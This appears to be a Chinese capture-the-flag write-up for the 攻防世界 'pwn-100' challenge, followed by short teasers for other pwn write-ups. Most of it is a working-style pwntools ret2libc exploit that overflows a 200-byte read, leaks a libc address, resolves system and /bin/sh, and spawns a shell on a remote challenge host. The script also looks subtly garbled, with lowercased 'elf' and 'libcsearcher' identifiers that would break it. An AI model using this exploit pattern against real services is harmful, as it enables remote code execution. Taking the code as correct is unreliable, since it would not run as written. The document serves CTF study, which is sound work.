如上圖,這道題很簡單粗暴,直接暴露溢位點,但是需要注意的是,每次輸入讀200!這點下面會有坑。
思路:利用rop洩露出read的位址,利用libsearch獲得system和/bin/sh的位址。這些都是常規流程。但是,有一點要注意,在傳送payload的時候,一定不能使用sendline或者sendafterline。因為這兩個方法會自動在你的payload後面新增\n。本題嚴格讀取200單元,多出來的\n作為下次讀取的開頭,會導致第二次傳送的錯誤!exp如下
from pwn import *
from libcsearcher import *
io = remote("220.249.52.133","54380")
elf = elf('./pwn-100/pwn-100')
context.log_level='debug'
# context.update(arch = 'amd64')
addr_pop_rdi = 0x400763
addr_main = 0x4006b8
payload = 'a' * 0x40 + 'a' * 8 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'a' * 96
io.send(payload)
io.recvuntil('\x0a')
addr_read = io.recv()[:-1]
# print addr_read
addr_read = u64(addr_read.ljust(8,'\x00'))
# print hex(addr_read)
search = libcsearcher('read',addr_read)
addr_base = addr_read - search.dump('read')
addr_sys = addr_base + search.dump('system')
addr_sh = addr_base + search.dump('str_bin_sh')
print hex(addr_sh)
payload = 'a' * 0x40 + 'a' * 8 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'a' * 96
io.send(payload)
io.interactive()
攻防世界PWN題解答
通過ida開啟程式,f5鍵生成c的 如下 int cdecl main int argc,const char ar const char envp ssize t vulnerable function 很明顯,vulnerable function的read函式有注入點,可以複寫vulnerab...
PWN系列 攻防世界pwn高階區welpwn分析
個人部落格位址 函式 也比較簡單。read那裡也不存溢位。都是0x400。緊接著呼叫了echo函式。在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,很明顯會造成溢位。唯一的問題就是,如果buf中含有 x00。會中斷迴圈。函式執行的整體流程就是,使用者輸入的字串會存放到b...
攻防世界 pwn1 wp
先看保護 除了pie全開了。開啟ida分析 因為有canary保護所以要想辦法洩露canary,回頭看那個棧溢位漏洞,發現可以利用先傳送0x88個a過去 後面會自動給你爆出canary,有了canary之後,就簡單了,所以思路就是 先利用棧溢位漏洞獲取canary,再利用拼接的方法將前面的填充補全之...